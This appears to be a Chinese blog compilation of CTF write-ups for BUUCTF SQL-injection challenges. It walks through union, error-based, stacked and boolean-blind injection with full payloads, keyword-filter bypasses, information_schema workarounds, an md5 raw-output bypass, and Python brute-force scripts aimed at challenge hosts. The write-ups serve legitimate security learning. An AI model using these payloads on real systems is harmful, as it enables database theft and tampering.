BUUCTF-SQL注入

[极客大挑战 2019]EasySQL

考点：sql注入-万能密码

[极客大挑战 2019]LoveSQL

考点：union联合注入

解题

1、用万能密码就登进去了
2、用admin和fc04b11f3d0602213859e9c721e53116登进去还是一样的
3、order by查出3个字段
4、爆当前库名：

' union select 1,1,database() #

->库名：geek
5、爆表名：

' union select 1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='geek' #

->根据题目，表名应该就是l0ve1ysq1
6、查询所有的字段名：

' union select 1,1,group_concat(distinct column_name) from information_schema.columns where table_name='l0ve1ysq1' #

->id,username,password
7、

' union select 1,1,group_concat(password) from l0ve1ysq1 #

[极客大挑战 2019]BabySQL

考点：union联合注入

解题

1、用万能密码登陆，回显过滤了or ,双写绕过：

' oorr 1=1 #

2、用order by查出3个字段

' oorrder bbyy 1 #

3、爆当前库名：(回显union和select都被过滤，双写绕过）

' ununionion seselectlect 1,1,database() #

->库名：geek
4、爆表名：(回显from、where被过滤）
注意information里的or

' ununionion seselectlect 1,1,group_concat(distinct table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

->表名：b4bsql,geekuser，有2个，肯定是b4bsql
5、爆字段：

' ununionion seselectlect 1,1,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

->id,username,password
6、

' ununionion seselectlect 1,1,group_concat(passwoorrd) frfromom b4bsql #

BabySql过滤了or,union,select,from等关键字，看回显缺什么再写一遍就行了，其它和上一关LoveSql一样。

[极客大挑战 2019]HardSQL

考点：报错注入

解题

1、打开bp fuzz，union|order by|等号|空格|substr等被过滤
2、爆当前的数据库名：
空格绕过：用括号()包起来就行

'or(extractvalue(1,concat('~',database())))#

用updatexml()函数是一样的：

'or(updatexml(1,concat('~',database()),1))#

->库名：geek
3、爆表名：
等号绕过：用like替换

'or(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")))))#

->表名：H4rDsq1
4、爆字段名：

'or(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))#

->字段：id,username,password
5、

'or(extractvalue(1,concat('~',(select(password)from(H4rDsq1)))))#

flag{f5629ada-833f-4eb8-a6f2-49
没出全，因为extractvalue和updatexml()都有最长32的长度限制
这时候就要想到mysql的一些函数，substr，left，right

• substr(字符串，起始位置，截取长度）
• left(字符串，截取长度)#从左往右截取*位
• right(字符串，截取长度)#从右往左截取*位

注意：substr被过滤了

'or(extractvalue(1,concat('~',(select(right(password,20))from(H4rDsq1)))))#

BUUCTF-[强网杯 2019]随便注

考点：堆叠注入
换表

解题

1、网页标题是easy_sql

输入1、2有回显，其余都无查询结果
单引号字符型注入
2、order by判段出2列
3、爆库名：

1' union select 1,group_concat(schema_name) from information_schema.schemata%23

过滤了select|update|delete|drop|insert|where|.关键字
4、看师傅们的wp，这里用堆叠注入
查询所有表：

?inject=';show tables;%23

->表名：1919810931114514和words
查询第一个表1919810931114514中的列：

?inject=';show columns from `1919810931114514`;%23

(本地测试了一下，表名如果是数字，表名要加反单引号）

->1919810931114514表的列名：flag
查数据：

?inject=';show flag from `1919810931114514`;%23

没结果。。。

查询第2个表words的列：

?inject=';show columns from words;%23

->words表有2个列：id、data
根据一开始输入1，查询出的结果是一个数字和一个字符串，而words表结构是id和data，判断出words是查询的表，GET传入的参数inject的值赋值给id。
后台sql语句大概是：select id from words where id='1';

把数字表名改成words，words表名改成words1。换了后，words1是默认查询的表，words只有flag一个字段，页面查询的是id，所以把words表的flag字段改为id（改列名时注意加上数据类型）：

';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);%23

?inject='or '1

笔记

堆叠注入
原理：在sql中，分号代表一条语句结束，但如果用分号分割，同时执行多条sql语句，就会造成堆叠注入，例如：
select * from testtable;show databases;
测试一下：第一条删除id为2的数据，第二条查询全部数据：

[GYCTF2020]Blacklist

考点：堆叠注入
handle语句替代select查询

解题

1、经测试，是字符型注入
2、查列数：
url：

?inject=1' order by 1%23

->2列

3、用union联合查询：

?inject=1'union select 1,2%23

回显有过滤

4、用堆叠注入，查库名：

?inject=1';show databases;

->库名：supersqli
查表名：

?inject=1';show tables;

->表名：FlagHere、words
先查看FlagHere中的字段：

?inject=1';show columns from FlagHere;

有flag字段

再查words表中的字段：

?inject=1';show columns from words;

有id和data两个字段

和“[强网杯 2019]随便注”这道题类似，但是现在这题过滤了rename和alter,不能换表

学到用handler语句替代select查询

handle官方文档
参考：mysql查询语句-handler
handler table_name open; #打开表table_name,声明一个名为table_name的句柄
handler table_name read first; #获取第一行数据
handler table_name close; #关闭打开的句柄
payload：

?inject=1';
handler FlagHere open;
handler FlagHere read first;
handler FlagHere close;%23

BUUCTF-[GYCTF2020]Ezsqli

考点：无information的盲注+无列名注入

解题

1、
1 　回显Nu1L
2　 回显V&N
3 　回显Error Occured When Fetch Result.
1'　回显 bool(false)
参数id处存在注入
1 or 1=1 回显SQL Injection Checked.

上面测试共有4种回显：

• Nu1L或V&N 　　　　　　　　　　有查询结果
• Error Occured When Fetch Result. 无查询结果
• bool(false) 　　　　　　　　　　　sql语法有错
• SQL Injection Checked. 　　　　　存在过滤
  2、
  输入1a，打开bp　fuzz
  

过滤了union|and|or|union select|if|in|information
(本来我用id=(1)测试，一些过滤没测出来，心凉，遂请教师傅，在没有产生注入的情况下，把测试关键字插入到正确的sql语句中)

看上面的过滤，不能用报错注入

1^1　回显Error Occured When Fetch Result.
1^0　回显Nu1L
可用bool盲注

3、通过盲注爆表：

import requests

url='http://c631cfe0-e07d-41e6-be58-60f6e4cc8f06.node3.buuoj.cn/'
table_name=''
for i in range(1,50):
    for j in range(40,128):
        payload = "1&&(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),%d,1)))=%d"%(i,j)
        data={'id': payload}
        r=requests.post(url,data=data)
        if 'Nu1L' in r.text:
            table_name=table_name+chr(j)
            print(table_name)
            break

->表名：f1ag_1s_h3r3_hhhhh,users233333333333333

4、无列名注入
先判断列数：
union select不能用，payload：1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh))

1^((select 1)>(select * from f1ag_1s_h3r3_hhhhh)) 　　回显bool(false) 
1^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh)) 　回显Error Occured When Fetch Result.
1^((select 1,2,3)>(select * from f1ag_1s_h3r3_hhhhh)) 回显bool(false) 

->2列

通过第一个字符判断flag在哪一列：

1^((select 'f',2)>(select * from f1ag_1s_h3r3_hhhhh))	　回显Nu1L
1^((select 'g',2)>(select * from f1ag_1s_h3r3_hhhhh))	　回显Nu1L，和理论不一致
1^((select 1,'f')>(select * from f1ag_1s_h3r3_hhhhh))	　回显Nu1L，一致
1^((select 1,'g')>(select * from f1ag_1s_h3r3_hhhhh))	　回显Error Occured When Fetch Result.，一致

所以flag在第2列，且第一个字符是f
（其实一般有2列的话，flag大部分都在第2列）

爆数据：

import requests

url = 'http://a8f8d1ca-23b3-4e08-88cc-bc2c636ae798.node3.buuoj.cn/'
flag = ''
result = ''
for i in range(1,50):
    print(i)
    for j in range(40,127):
        result = flag+chr(j)
        payload = '1^((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(result)
        data = {'id': payload}
        r = requests.post(url,data)
        if 'Error' in r.text:
            flag += chr(j-1)
            print(flag)
            break

解释：
1^((select 1,'a')>(select * from f1ag_1s_h3r3_hhhhh)) ，1^0=1，回显Nu1L

比如第一个字符，小于等于f时，1^{0=1，回显Nu1L；大于f时，g>f，1}1=0，回显Error Occured When Fetch Result.，所以要j-1，记录此时的flag

在下次循环，对于mysql中的大于号，前面一样的，继续比较后面的

笔记

1、bypass information_schema：
参考：
https://osandamalith.com/2020/01/27/alternatives-to-extract-tables-and-columns-from-mysql-and-mariadb/
https://www.anquanke.com/post/id/193512

• mysql.innodb_table_stats(需要mysql>=5.6)　×
• sys.schema_auto_increment_columns ×
• sys.nnodb_buffer_stats_by_table
• sys.x$schema_flattened_keyss
• sys.schema_table_statistics
• sys.schema_table_statistics_with_buffer

2、无列名注入
常规获取表名是：

payload="1&&(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d)"%(i,j)

information_schema库被过滤时，将查询语句和列进行比较，可以查出多少列
好像这个表里只能有1行

参考：

https://f4de.ink/2020/06/10/GYCTF2020-Ezsqli/
https://www.gem-love.com/ctf/1782.html
http://mo0n.top/2020/02/24/gyctf2020-writeup/#toc-heading-10

[SWPU2019]Web1

考点：bypass information、无列名注入

解题

1、发现在title处存在sql注入：

打开bp,fuzz，过滤了and|or|#|%23

1'/**/&&/**/'1'='1
1'/**/&&/**/'1'='2

是单引号字符型注入
2、爆列数：

0'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

->22列
3、判断回显位：

0'union/**/select/**/version(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

回显位在2、3位
4、union联合查询爆表名：

0'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

5、无列名注入

0'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

通过加减得出user表有3列。

笔记

无列名注入：select 字段 from 联合查询

看到，使用union联合查询，列名p,user会被数字1,2,3代替

select `2` from (select 1,2 union select * from t0926)a;

解释：
①2加反单引号，表示它是列名
②a是select 1,2 union select * from t0926这个表的别名，可任意

[极客大挑战 2019]FinalSQL

考点：bool盲注

解题

1、

页面hint了sql盲注，点击5个按钮，get传参分别为1-5
?id=1^0　　真，返回正确
?id=1^1　　假，返回ERROR！！！
用bool盲注
2、过滤了union|空格|and等等，用括号包住绕过空格

写脚本，用二分去爆破库名，表名，列名，flag数据，1^(sql判断语句)，如果页面返回正常，说明id=1，sql判断语句为假；反之如果页面返回ERROR！！！，说明id=0，sql判断语句为真
（后面flag数据很长，所以位数i就设大了点）

import requests
url_ = "http://e11a9824-28ed-43c3-ad08-c4979caacc5b.node3.buuoj.cn/search.php?id="
name = ""
for i in range(1,1000):#i表示库名的第i位
    low = 32
    high = 128
    mid = (low + high) // 2
    while low < high :
        payload = "1^(ascii(substr(database(),%d,1))>%d)" % (i, mid)#库名爆出geek
        #payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)" % (i, mid)#表名是F1naI1y
        #payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),%d,1))>%d)" % (i, mid)#id,username,password
        #payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" % (i, mid)
        url = url_ + payload
        response = requests.get(url)
        #库名的当前字符比mdi大
        if "ERROR！！！" in response.text:
             low = mid + 1
        #比mid小
        else:
            high = mid
        mid = (low + high) // 2
    if mid == 32:
        break
    name = name + chr(mid)
    print(name)

[CISCN2019 华北赛区 Day2 Web1]Hack World

考点：sql注入-bool盲注

解题

1、打开题目：

1 回显：Hello, glzjin wants a girlfriend.
2 回显：Do you want to be my girlfriend?
1' 回显：bool(false) 
1^1 回显：Error Occured When Fetch Result.
1^0 回显：Hello, glzjin wants a girlfriend.
1 or 回显：SQL Injection Checked.

测试总结共4种回显：

• Hello...或Do you... 有查询结果
• Error Occured When Fetch Result. 无查询结果
• bool(false) sql语法有错
• SQL Injection Checked.有过滤

2、打开bp，fuzz一下，过滤了空格，用括号绕过
3、用二分法爆破一下，脚本如下：

import requests

url = "http://e5396176-4c24-4c09-a8af-917d636cde2a.node3.buuoj.cn/index.php"
payload = {
    "id" : ""
}
result = ""
for i in range(1,100):
    low = 32
    high = 128
    mid = (low + high) // 2
    while(low < high):
        payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),%d,1))>%d)" % (i,mid)
        r = requests.post(url,data=payload)
        if "Hello" in r.text:
            low = mid+1
        else:
            high = mid
        mid = (low + high) // 2
    if(mid == 32):
        break
    result = result + chr(mid)
    print(result)

[GXYCTF2019]BabySQli

当时比赛的题目描述：

刚学完sqli，我才知道万能口令这么危险，还好我进行了防护，还用md5哈希了密码！

考点：
1、uesername和password分开验证
2、md5绕过验证

解题：

1、打开靶机后有个username和password的登录框

F12之后，访问search.php，base32 decode，base64 decode，得到：

select * from user where username = '$name'

只对username做了判断，所以注入点在username
查字段数，order by查不出来，可能过滤了or，大写绕过
fuzz后，发现or、()、=被过滤

' Order by 4#

或

' union select 1,2,3,4#

->3个字段
猜测可能是id，uesrname，password这样
username输入admin，返回wrong pass!，输入其他的返回wrong user!
至于为什么输入admin对了，一般出题username最可能用admin

参考师傅们的wp：
https://www.gem-love.com/ctf/453.html
https://artd33.github.io/2019/12/29/Training-MySQL-I-Training-MySQL-II/
payload：
username：' union select 1,'admin','4ded286ec88b56f6b0da58034f991714'#

[BJDCTF2020]Easy MD5

考点：bypass md5($var,true)

解题

打开题目是这样的：
/leveldo4.php

1、根据题目，直接用ffifdyop这个字符串吧

<?php
echo md5("ffifdyop", true);//'or'6�]��!r,��b

在mysql里，字符串或变量作布尔型判断时，以数字开头的字符串会忽略数字后面的字符。例：password=‘6xxx’，结果为true。

所以，这里相当于万能密码永真。
2、

/levels91.php?a[]=1&b[]=2
3、
/levell14.php

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

POST：param1[]=1&param2[]=2
password：Pur3

[SUCTF 2019]EasySQL

考点：堆叠注入、sql_mode=PIPES_AS_CONCAT

解题

在输入非0的数字时，都返回：

输入其他任意非数字(除0）的，无任何回显
有长度限制。

打开bp fuzz测试，过滤了union|and|or|from|sleep|extractvalue|updatexml|information。
尝试用堆叠注入
查库名：

查表名：

尝试输入6,7

再输入3,4,5

判断出注入点在select_expr
sql语句大概是select $_REQUEST['query'] from Flag
学习学习
源码中的sql语句是：

$sql = "select ".$post['query']."||flag from Flag";

预期解

因为这里网页是php语言，所以是mysql数据库
本地看一下这个||：

第2个字段p||2在这里，无任何意义

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接，但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来实现oracle 的一些功能。

关于sql_mode的解释查看：sql-mode官方文档

sql_mode中的PIPES_AS_CONCAT把||视为字符串的连接操作符而非或运算符，和字符串的拼接函数Concat相类似。
payload：

1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接起来是：

$sql = "select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag";

• select 1; 和后面的查询语句构成堆叠注入
• 设置为该模式后，会select 1与select flag from Flag的查询结果连接起来。
  本地测试下：
  

非预期解

*,0
sql语句为：select *,0||flag from Flag，即select * from Flag

总结

这题遇到了注入点在select_expr的情况；还有mysql中，用sql_mode=PIPES_AS_CONCAT转化||的方法。

[RCTF2015]EasySQL

考点：报错注入

解题

1、打开题目：

进入/register.php
注册登录后有修改密码的功能，有修改后台数据的地方就可能存在二次注入

2、再回到/register.php，测出在加双引号注册后修改密码时返回报错信息

获取表名：

Hh0" or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))#

弹出invalid string!，有过滤哇，用Bpfuzz一下，过滤了空格
获取表名：

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))#

获取列名：

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))))#

获取数据：

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(flag))from(flag)))))#

哈哈哈哈，再看别的表
3、获取users表的列名：

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#

获取数据：

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)))))#

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)))))#

返回一堆xxx，肯定前几行的数据都是xxx，用regexp正则匹配real_flag_1s_here列中f开头的数据

Hh0"or(extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

mid,right函数都被过滤了，逆序一下

Hh0"or(extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))))#